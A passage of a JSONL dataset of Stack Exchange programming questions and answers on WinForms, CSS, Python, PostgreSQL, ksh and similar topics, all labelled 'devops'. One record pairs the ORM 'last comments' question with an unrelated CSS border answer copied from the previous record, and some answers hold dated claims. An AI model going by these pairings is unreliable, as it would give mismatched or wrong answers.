you may have some luck with TransparencyKey Property of the Form. Setting this to white may have the desired effect, but I haven't tested this one.\nIn either case the Form should be completely borderless. You may have to add some code to reposition the form, when the video form moves.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.311614"}
{"id": "hf_e264209e68bd", "question": "<p>I am creating a C# WinForms application. I would like to have a Custom Form Border. And I want to create a black custom window (with border and controls) like that of Adobe Lightroom. For example -\n<a href=\"https://i.stack.imgur.com/VNDFM.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VNDFM.jpg\" alt=\"Border like Adobe Lightroom\" /></a>\nHow do I create it, please help?</p>\n", "question_body": "", "answer": "If the custom-chrome tools don't provide you with the look-and-feel that you want, this kind of thing is easy to do yourself in C#.  Basically, you create a borderless form (FormBorderStyle = None) and then create all the controls and borders yourself, by placing controls where you need them (a label for the title bar, command buttons for close and minimize etc.) and/or drawing directly on the form's surface using the Graphics object.\nYou also have to implement code to allow the form to be dragged around by its \"fake\" title bar (see\nthis answer\nfor a sample of how to do this).  You may also have to implement your own resizing mechanism (if you need the forms to be resizable).\nFinally, although the custom-form code might be a bit clunky, you can implement it on a single form and then have all the other forms in your application inherit from this form, which makes it a very useful technique for custom-skinning an entire application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.335104"}
{"id": "hf_138066e73644", "question": "<p>I'm starting to learn about using Memcached with PHP and I was wondering; is there a point at which you should start using it? Is it always more efficient to cache data or does it only become effective once your site gets a certain number of hits? Presumably there is an overhead associated with Memcached, so when does the speed benefit outweigh this?</p>\n\n<p>Thanks in advance for any advice.</p>\n", "question_body": "", "answer": "You should start using memcached when not using it starts to affect your site / server.\nSo when you just have 100 visitors a day and your site still responds quickly, don't bother using it.\nBut when you have running times somewhere near 200ms or more per page, and the site feels slow too, you should look out for the bottlenecks using some PHP profiler (XDebug integrates one that you can use in combination with WinCacheGrind or KCacheGrind).\nEspecially caching database requests should save you some load time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.370400"}
{"id": "hf_2307291b3996", "question": "<p>I need a CSS selector that can find the 2nd div of 2 that has the same class. I've looked at <code>nth-child()</code> but it's not what I want since I can't see a way to further clarify what class I want. These 2 divs will be siblings in the document if that helps.</p>\n\n<p>My HTML looks something like this:</p>\n\n<pre><code>&lt;div class=\"foo\"&gt;...&lt;/div&gt;\n&lt;div class=\"bar\"&gt;...&lt;/div&gt;\n&lt;div class=\"baz\"&gt;...&lt;/div&gt;\n&lt;div class=\"bar\"&gt;...&lt;/div&gt;\n</code></pre>\n\n<p>And I want the 2nd div.bar (or the last div.bar would work too).</p>\n", "question_body": "", "answer": "Selectors can be combined:\n```\n```\n.bar:nth-child(2)\n```\n```\nmeans \"thing that has class\nbar\n\" that is also the 2nd child.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.476456"}
{"id": "hf_f2d7ef098d6b", "question": "<p>Currently i have a NotInheritable class in App_Code that hold some variables that need to be access thur-out the application but i don't think it's a good way to manage global variables. </p>\n", "question_body": "", "answer": "Usually, this kind of thing calls for a\nSingleton\n. However, I'd recommend never coding a singleton yourself, and using a Dependency Injection/IoC framework to handle the life-cycle of services.\nThe other thing you have to remember with ASP.NET is that the ASP.NET process automatically recycles itself every now-and-then, so you'll need to persist changes to permenant storage (such as file-system or database)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.499751"}
{"id": "hf_4aec96625677", "question": "<p>I suppose there could be historical reasons for this naming and that other languages have similar feature, but it also seems to me that parameters always had a name in C#. Arguments are the unnamed ones. Or is there a particular reason why this terminology was chosen?</p>\n", "question_body": "", "answer": "Yes, you're absolutely right (to my mind, anyway). Ironically, although I'm usually picky about these terms, I still use \"parameter passing\" when I should probably talk about \"argument passing\". I suppose one could argue that prior to C# 4.0, if you're calling a method you don't care about the parameter names, whereas the names become part of the significant metadata when you can specify them on the arguments as well.\nI agree that it makes a difference, and that terminology is important.\n\"Optional parameters\" is definitely okay though - that's adding metadata to the parameter when you couldn't do so before :) (Having said that, it's not going to be optional in terms of the generated IL...)\nWould you like me to ask the team for their feedback?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.546660"}
{"id": "hf_e38834bc99fe", "question": "<p>I am trying to write a decorator to do logging:</p>\n\n<pre><code>def logger(myFunc):\n    def new(*args, **keyargs):\n        print 'Entering %s.%s' % (myFunc.im_class.__name__, myFunc.__name__)\n        return myFunc(*args, **keyargs)\n\n    return new\n\nclass C(object):\n    @logger\n    def f():\n        pass\n\nC().f()\n</code></pre>\n\n<p>I would like this to print:</p>\n\n<pre><code>Entering C.f\n</code></pre>\n\n<p>but instead I get this error message:</p>\n\n<pre><code>AttributeError: 'function' object has no attribute 'im_class'\n</code></pre>\n\n<p>Presumably this is something to do with the scope of 'myFunc' inside 'logger', but I've no idea what.</p>\n", "question_body": "", "answer": "It seems that while the class is being created, Python creates regular function objects. They only get turned into unbound method objects afterwards. Knowing that, this is the only way I could find to do what you want:\n```\n```\ndef logger(myFunc):\n    def new(*args, **keyargs):\n        print 'Entering %s.%s' % (myFunc.im_class.__name__, myFunc.__name__)\n        return myFunc(*args, **keyargs)\n\n    return new\n\nclass C(object):\n    def f(self):\n        pass\nC.f = logger(C.f)\nC().f()\n```\n```\nThis outputs the desired result.\nIf you want to wrap all the methods in a class, then you probably want to create a wrapClass function, which you could then use like this:\n```\n```\nC = wrapClass(C)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.609571"}
{"id": "hf_f571ce9acc82", "question": "<p>I have a groovy script that needs a library in a jar. How do I add that to the classpath? I want the script to be executable so I'm using <code>#!/usr/bin/env groovy</code> at the top of my script. </p>\n", "question_body": "", "answer": "If you really have to you can also load a JAR at runtime with:\n```\n```\nthis.getClass().classLoader.rootLoader.addURL(new File(\"file.jar\").toURL())\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.660147"}
{"id": "hf_f6f4574f456c", "question": "<p>I am following a VB tutorial to do some <a href=\"http://blogs.msdn.com/bethmassi/archive/2008/04/25/querying-html-with-linq-to-xml.aspx\" rel=\"nofollow noreferrer\">HTML manipulation using LINQ</a> </p>\n\n<p>It has the following construct</p>\n\n<pre><code>Imports &lt;xmlns=\"http://www.w3.org/1999/xhtml\"&gt;\n</code></pre>\n\n<p>How do I do the same in C#?</p>\n\n<p>There appears to be something called an XMLNamespaceManager that may hold the solution, but I am too foolish to understand how to work it, and I am not sure it is the correct tree to bark up.</p>\n\n<p>Got any advice?</p>\n", "question_body": "", "answer": "VB.Net has a feature called\n```\nXML Literals\n```\nthat is not present in C#.  This import statement adds a namespace for use with those literals.\nIn researching this information, I found this link helpful:\nhttp://blogs.msdn.com/bethmassi/archive/2007/10/30/quickly-import-and-export-excel-data-with-linq-to-xml.aspx\nIt's also very informative for working with Excel xml docs, but that's a side issue ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.742878"}
{"id": "hf_7fec047b6134", "question": "<p>I am embarking on a new RIA project with Java on the backend. I'm the only developer, and the app is a line-of-business application. My current stack looks like this:</p>\n\n<p>MySQL || Spring(JdbcTemplate for data access) || BlazeDS (remoting) || Flex(Cairngorm)</p>\n\n<p>My question is: what changes can I make to improve productivity? Manually coding SQL, server-side entity objects, client-side value objects and all the Cairngorm stuff is obviously a drag, but I'm not sure what higher-level frameworks to introduce.</p>\n\n<p>What Flex/Java stack has served you well? </p>\n", "question_body": "", "answer": "Manually coding SQL\nHibernate\nis an option to cut this out.\nOne thing that may be of interest is Grails with the available Flex Plugin. It's built on Spring, Hibernate and BlazeDS, so it's all there for you. It was unbelieveably easy to get it remoting stored objects and responding to AMF calls. I was using this and then moved over to a RESTful E4X implementation as I found it a lot easier to debug and tweak as I could inspect the server output in a browser and have tighter control over exactly what I returned to my Flex app (lazy loading problems in collections using BlazeDS were a headache at times).\nHere is a quick tutorial showing how easy the whole Grails + Flex Plugin stack is:\nBlazeDS  in Grails", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.766436"}
{"id": "hf_d4c9c19436c1", "question": "<p>I have a list of error codes I need to reference, kinda like this:</p>\n\n<pre><code>Code / Error Message  \nA01 = whatever error  \nU01 = another error  \nU02 = yet another error type\n</code></pre>\n\n<p>I get the Code returned to me via a web service call and I need to display or get the readable error.  So I need a function when passed a Code that returns the readable description. I was just going to do a select case but thought their might be a better way. What is the best way / most effieient way to do this?</p>\n", "question_body": "", "answer": "Use a Dictionary, (in C#, but the concept and classes are the same):\n```\n```\n// Initialize this once, and store it in the ASP.NET Cache.\nDictionary<String,String> errorCodes = new Dictionary<String,String>();\n\nerrorCodes.Add(\"A01\", \"Whatever Error\");\nerrorCodes.Add(\"U01\", \"Another Error\");\n\n// And to get your error code:\n\nstring ErrCode = errorCodes[ErrorCodeFromWS];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.789778"}
{"id": "hf_8dd13aa20839", "question": "<p>Back in 2000 (when .NET was unleashed upon us IIRC) it was an innovative cutting edge language (last time I used it was 2003).</p>\n\n<p>From what I read though, Sun has only evolved the language exceedingly slowly. I've even read that where the language has evolved, such as the addition of Generics, developers have complained about poor implementation.</p>\n\n<p>Are these accurate perceptions, and if so, any thoughts on why, particularly with the seemingly obvious competition from C#?</p>\n", "question_body": "", "answer": "Java has certainly been evolving very slowly - especially if you compare it with C# and VB. I personally feel that they made the wrong decision with generics in terms of keeping backward compatibility at the cost of execution-time safety and efficiency. The .NET approach works a lot better in\nalmost\nevery way, IMO.\nJava 7 has a\nlong list of\npotential\nfeatures\n- both language and platform - but it's been an awfully long time in the making, and there's still significant question marks over many of the features.\nI wouldn't like to place any \"blame\" on why this has happened, however.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.827858"}
{"id": "hf_edc133a18515", "question": "<p>I've been trying to create a custom control that works exactly like the Panel control except surrounded by a few divs and such to create a rounded box look. I haven't been able to find a decent example of how to do this. </p>\n\n<p>I need to be able to place text and controls inside the control and access it directly without referencing the panel (exactly the way the Panel control works).</p>\n\n<p>Does anyone have any examples of this?</p>\n", "question_body": "", "answer": "There are two ways to do this. One is to implement\n```\nINamingContainer\n```\non your control, and it takes a lot of effort.\nThe other way is to inherit from Panel, and override the RenderBeginTag and RenderEndTag methods to add your custom markup. This is easy.\n```\n```\npublic class RoundedCornersPanel : System.Web.UI.WebControls.Panel\n{\n    public override RenderBeginTag (HtmlTextWriter writer)\n    {\n        writer.Write(\"Your rounded corner opening markup\");\n        base.RenderBeginTag(writer);\n    }\n\n    public override RenderEndTag (HtmlTextWriter writer)\n    {\n        base.RenderEndTag(writer);\n        writer.Write(\"Your rounded corner closing markup\");                     \n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.956103"}
{"id": "hf_f87ad9159138", "question": "<p>Is there a 4 byte unsigned int data type in MS SQL Server?</p>\n\n<p>Am I forced to use a bigint?</p>\n", "question_body": "", "answer": "It doesn't seem so.\nHere's an article describing how to create your own rules restricting an\n```\nint\n```\nto positive values.  But that doesn't grant you positive values above\n```\n2^31-1\n```\n.\nhttp://www.julian-kuiters.id.au/article.php/sqlserver2005-unsigned-integer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:05.979816"}
{"id": "hf_df00813d2207", "question": "<p>Why does the following behave unexpectedly in Python?</p>\n\n<pre><code>&gt;&gt;&gt; a = 256\n&gt;&gt;&gt; b = 256\n&gt;&gt;&gt; a is b\nTrue           # This is an expected result\n&gt;&gt;&gt; a = 257\n&gt;&gt;&gt; b = 257\n&gt;&gt;&gt; a is b\nFalse          # What happened here? Why is this False?\n&gt;&gt;&gt; 257 is 257\nTrue           # Yet the literal numbers compare properly\n</code></pre>\n\n<p>I am using Python 2.5.2. Trying some different versions of Python, it appears that Python 2.3.3 shows the above behaviour between 99 and 100.</p>\n\n<p>Based on the above, I can hypothesize that Python is internally implemented such that \"small\" integers are stored in a different way than larger integers and the <code>is</code> operator can tell the difference. Why the leaky abstraction? What is a better way of comparing two arbitrary objects to see whether they are the same when I don't know in advance whether they are numbers or not?</p>\n", "question_body": "", "answer": "I think your hypotheses is correct. Experiment with\n```\nid\n```\n(identity of object):\n```\n```\nIn [1]: id(255)\nOut[1]: 146349024\n\nIn [2]: id(255)\nOut[2]: 146349024\n\nIn [3]: id(257)\nOut[3]: 146802752\n\nIn [4]: id(257)\nOut[4]: 148993740\n\nIn [5]: a=255\n\nIn [6]: b=255\n\nIn [7]: c=257\n\nIn [8]: d=257\n\nIn [9]: id(a), id(b), id(c), id(d)\nOut[9]: (146349024, 146349024, 146783024, 146804020)\n```\n```\nIt appears that numbers\n```\n<= 255\n```\nare treated as literals and anything above is treated differently!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.015158"}
{"id": "hf_cab52a722215", "question": "<p>How do you create a custom control (not an ASCX control) and, more importantly, use it in your project? I'd prefer not to create a separate project for it or compile it as a DLL</p>\n", "question_body": "", "answer": "Create the class for the control and build the solution. If everything goes well the control should now be available on the toolbox.\nSometimes the VS doesn't update the toolbox. If that happens add the Register directive to the page:\n```\n```\n<%@ Register Assembly=\"NAME_OF_THE_ASSEMBLY\" Namespace=\"NAMESPACE_OF_THE_CUSTOM_CONTROL\" TagPrefix=\"cc1\" %>\n```\n```\nthen just use the control on the page:\n```\n```\n<cc1:mycustompanel id=\"MyCustomPanel1\" runat=\"server\"><asp:TextBox id=\"TextBox1\" runat=\"server\"></asp:TextBox></cc1:mycustompanel>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.066843"}
{"id": "hf_45fc495be7ca", "question": "<p>How do I retrieve an item at random from the following list?</p>\n<pre><code>foo = ['a', 'b', 'c', 'd', 'e']\n</code></pre>\n", "question_body": "", "answer": "Use\n```\nrandom.choice()\n```\n:\n```\n```\nimport random\n\nfoo = ['a', 'b', 'c', 'd', 'e']\nprint(random.choice(foo))\n```\n```\nFor\ncryptographically secure\nrandom choices (e.g., for generating a passphrase from a wordlist), use\n```\nsecrets.choice()\n```\n:\n```\n```\nimport secrets\n\nfoo = ['battery', 'correct', 'horse', 'staple']\nprint(secrets.choice(foo))\n```\n```\n```\nsecrets\n```\nis new in Python 3.6. On older versions of Python you can use the\n```\nrandom.SystemRandom\n```\nclass:\n```\n```\nimport random\n\nsecure_random = random.SystemRandom()\nprint(secure_random.choice(foo))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.102130"}
{"id": "hf_c0186ae01824", "question": "<p>I have this Trigger in Postgresql that I can't just get to work (does nothing). For understanding, there's how I defined it:</p>\n\n<pre><code>CREATE TABLE documents (\n    ...\n    modification_time timestamp with time zone DEFAULT now()\n);\n\nCREATE FUNCTION documents_update_mod_time() RETURNS trigger\nAS $$\n    begin\n    new.modification_time := now();\n    return new;\n    end\n$$\n    LANGUAGE plpgsql;\n\nCREATE TRIGGER documents_modification_time\n    BEFORE INSERT OR UPDATE ON documents\n    FOR EACH ROW\n    EXECUTE PROCEDURE documents_update_mod_time();\n</code></pre>\n\n<p>Now to make it a bit more interesting.. How do you debug triggers?</p>\n", "question_body": "", "answer": "You can use 'raise notice' statements inside your trigger function to debug it.  To debug the trigger not being called at all is another story.\nIf you add a 'raise exception' inside your trigger function, can you still do inserts/updates?\nAlso, if your update test occurs in the same transaction as your insert test, now() will be the same (since it's only calculated once per transaction) and therefore the update won't seem to do anything.  If that's the case, either do them in separate transactions, or if this is a unit test and you can't do that, use clock_timestamp().\nI have a unit test that depends on some time going by between transactions, so at the beginning of the unit test I have something like:\n```\n```\nALTER TABLE documents\n   ALTER COLUMN modification_time SET DEFAULT clock_timestamp();\n```\n```\nThen in the trigger, use \"set modification_time = default\".\nSo normally it doesn't do the extra calculation, but during a unit test this allows me to do inserts with pg_sleep in between to simulate time passing and actually have that be reflected in the data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.148595"}
{"id": "hf_3b7f7bb7d257", "question": "<p>In designing a fluid layout, how do you use borders without ruining the layout.</p>\n\n<p>More specifically, I have a HTML widget which consists of five divs.  I would like the five divs to take up all the room in the containing element.  I would also like to have a 1px border around each.</p>\n\n<p>I tried:\n.box { float: left; height: 100%; width: 100%; border: 1px solid red; }\nThis doesn't work:  there will be an extra 10px in width causing the boxes to wrap.  Reducing the width percentage doesn't work as it will not take up the correct amount of space and for certain page sizes, will still wrap.</p>\n\n<p>Whats the proper way to manage the interaction between these elements?</p>\n", "question_body": "", "answer": "Only put\n```\nwidth: 100%\n```\non the outermost div, and don't put a border on it.  If you do this, then the inner boxes will fill the space (assuming you haven't floated them or anything) since they're block elements, and you won't have to worry about borders adding to the total size.\nIf you really need the appearance of five solid single pixel nested borders, you can do something like this (with properly semantic names, hopefully):\n```\n```\n<div class=\"one\">\n    <div class=\"two\">\n        <div class=\"three\">\n        etc.\n        </div>\n    </div>\n</div>\n\n<style>\n.one {\n    width: 100%;\n}\n.two {\n    border: 1px solid red;\n    padding: 1px;\n    background: red;\n}\n.three {\n    border: 1px solid red;\n    background: white;\n}\n</style>\n```\n```\nAs you can see, you can fake the second border using padding and background colors on the second div (might even cut down on the total number of divs by doing this; just remember you can't pad the outmost div without screwing up your width).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.172358"}
{"id": "hf_14fd58336826", "question": "<p>Let's say I need to implement domain model for StackOverflow. </p>\n\n<p>If I am doing ORM, how can I define (and map) property for fetching \"last comments\" and other \"last\" things?\nIt looks to me like this should be reflected in the domain model.</p>\n\n<p>Sometimes I might need \"all comments\" though...</p>\n", "question_body": "", "answer": "Only put\n```\nwidth: 100%\n```\non the outermost div, and don't put a border on it.  If you do this, then the inner boxes will fill the space (assuming you haven't floated them or anything) since they're block elements, and you won't have to worry about borders adding to the total size.\nIf you really need the appearance of five solid single pixel nested borders, you can do something like this (with properly semantic names, hopefully):\n```\n```\n<div class=\"one\">\n    <div class=\"two\">\n        <div class=\"three\">\n        etc.\n        </div>\n    </div>\n</div>\n\n<style>\n.one {\n    width: 100%;\n}\n.two {\n    border: 1px solid red;\n    padding: 1px;\n    background: red;\n}\n.three {\n    border: 1px solid red;\n    background: white;\n}\n</style>\n```\n```\nAs you can see, you can fake the second border using padding and background colors on the second div (might even cut down on the total number of divs by doing this; just remember you can't pad the outmost div without screwing up your width).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.196062"}
{"id": "hf_3b5876df8d16", "question": "<p>How can I get a list of the running applications? I'm referring to the ones in the panel at the bottom of the screen.</p>\n", "question_body": "", "answer": "The panel you are referring to is the GNOME panel. So this is a GNOME question, not a GTK question.\nThere is not a well-defined concept of \"multi-window application\" in GNOME that I know of. The panel task list is probably build by querying the window manager for the list of windows and grouping the windows by their \"class\" property.\nThere are also various window manager hints that must be taken into account, for example to ignore panels and other utility windows. In your place, I would look at the source code of the taskbar applet. There is maybe some documentation somewhere that covers the status-quo, but I do know where it would be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.231538"}
{"id": "hf_33bb3779fa12", "question": "<p>Is there a clever way to determine which field is causing 'string or binary data would be truncated' with LINQ.</p>\n\n<p>I've always ended up doing it manually by stepping through a debugger, but with a batch using 'SubmitChanges' I have to change my code to inserting a single row to find the culprit in a batch of rows. </p>\n\n<p>Am I missing something or in this day and age do I really have to still use a brute force method to find the problem.</p>\n\n<p>Please dont give me advice on avoiding this error in future (unless its something much cleverer than 'validate your data'). The source data is coming from a different system where I dont have full control anyway - plus I want to be lazy.</p>\n\n<p>PS. Does SQL Server 2008 actually tell me the field name. Please tell me it does! I'll upgrade!</p>\n", "question_body": "", "answer": "Assuming you are processing a large batch of records and you don't want to (can't) validate the data before hand and you just want db constraints to catch any errors?\nChange your program to catch the exception and print out the current record details to a log file or something.\n```\n```\nRecord # 9999\nCaused \"string or binary data would be truncated\" error\nField1: \"Data\" Length: 55\nField2: 9999\netc.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.255050"}
{"id": "hf_4917ce28a3b3", "question": "<p>I'm writing a script to display the 10 most recently \"active\" WordPress blog posts (i.e. those with the most recent comments). Problem is, the list has a lot of duplicates. I'd like to weed out the duplicates. Is there an easy way to do this by changing the MySQL query (like IGNORE, WHERE) or some other means?  Here's what I have so far:</p>\n\n<pre><code>&lt;?php\n\nfunction cd_recently_active() {\n    global $wpdb, $comments, $comment;\n    $number = 10; //how many recently active posts to display? enter here\n\nif ( !$comments = wp_cache_get( 'recent_comments', 'widget' ) ) {\n    $comments = $wpdb-&gt;get_results(\"SELECT comment_date, comment_author, comment_author_url, comment_ID, comment_post_ID, comment_content FROM $wpdb-&gt;comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT $number\");\n\n    wp_cache_add( 'recent_comments', $comments, 'widget' );\n}\n?&gt;\n</code></pre>\n", "question_body": "", "answer": "Look at the\nDISTINCT\noption for the SELECT statement. Or alternatively the GROUP BY syntax (look at the same link). Though they work in different ways, these would be the two methods most likely to help you get exactly what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.302211"}
{"id": "hf_0d258f978704", "question": "<p>I have the following command which will loop over all the subdirectories in a specific location and output the full path:</p>\n\n<pre><code>for /d %i in (\"E:\\Test\\*\") do echo %i\n</code></pre>\n\n<p>Will give me:</p>\n\n<pre><code>E:\\Test\\One\nE:\\Test\\Two\n</code></pre>\n\n<p>But how do I get both the full path, and just the directory name, so the do command might be something like:</p>\n\n<pre><code>echo %i - %j\n</code></pre>\n\n<p>And the output might be something like:</p>\n\n<pre><code>E:\\Test\\One - One\nE:\\Test\\Two - Two\n</code></pre>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "The following command syntax can be used to return the full path or directory name only:\n```\n```\n%~fI        - expands %I to a fully qualified path name\n%~nI        - expands %I to a file name only\n```\n```\nUsing your example, the following command will list directories in the format that you specified:\n```\n```\nfor /d %i in (\"E:\\Test*\") do echo %~fi - %~ni\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.348807"}
{"id": "hf_f43fb260c63c", "question": "<p>I have a bit of code that looks like this:</p>\n\n<pre><code>text = reg.Replace(text, new MatchEvaluator(MatchEvalStuff));\n</code></pre>\n\n<p>I need to pass in a 2nd parameter like this:</p>\n\n<pre><code>text = reg.Replace(text, new MatchEvaluator(MatchEvalStuff, otherData));\n</code></pre>\n\n<p>Is this possible, and what would be the best way to do this?</p>\n", "question_body": "", "answer": "MatchEvaluator is a delegate so you can't change its signature.  You can create a delegate that calls a method with an additional parameter.  This is pretty easy to do with lambda expressions:\n```\n```\ntext = reg.Replace(text, match => MatchEvalStuff(match, otherData));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.407780"}
{"id": "hf_1c77b65cbc22", "question": "<p>I have written a KornShell (ksh) script that sets an array the following way:</p>\n\n<pre><code>set -A fruits Apple Orange Banana Strawberry\n</code></pre>\n\n<p>but when I am trying to run it from within cron, it raises the following error:</p>\n\n<pre><code>Your \"cron\" job on myhost\n/myScript.sh\n\nproduced the following output:\n\nmyScript.sh: -A: bad option(s)\n</code></pre>\n\n<p>I have tried many crontab syntax variants, such as:</p>\n\n<p>Attempt 1:</p>\n\n<pre><code>0,5,10,15,20,25,30,35,40,45,50,55 * * * * /path/to/script/myScript.sh\n</code></pre>\n\n<p>Attempt 2:</p>\n\n<pre><code>0,5,10,15,20,25,30,35,40,45,50,55 * * * * /path/to/script/./myScript.sh\n</code></pre>\n\n<p>Attempt 3:</p>\n\n<pre><code>0,5,10,15,20,25,30,35,40,45,50,55 * * * * cd /path/to/script &amp;&amp; ./myScript.sh\n</code></pre>\n\n<p>Any workaround would be sincerely appreciated. Thanks much in advance!</p>\n", "question_body": "", "answer": "Although I'm not sure it's the best way to do it, I've managed to solve it this way:\nAttempt 4:\n```\n```\n0,5,10,15,20,25,30,35,40,45,50,55 * * * * cd /path/to/script && ksh ./myScript.sh\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.434661"}
{"id": "hf_a61eb3d63ca2", "question": "<p>How do you get a list of files within a directory so each can be processed?</p>\n", "question_body": "", "answer": "But\n```\nboost::filesystem\n```\ncan do that:\nhttp://www.boost.org/doc/libs/1_37_0/libs/filesystem/example/simple_ls.cpp", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.458282"}
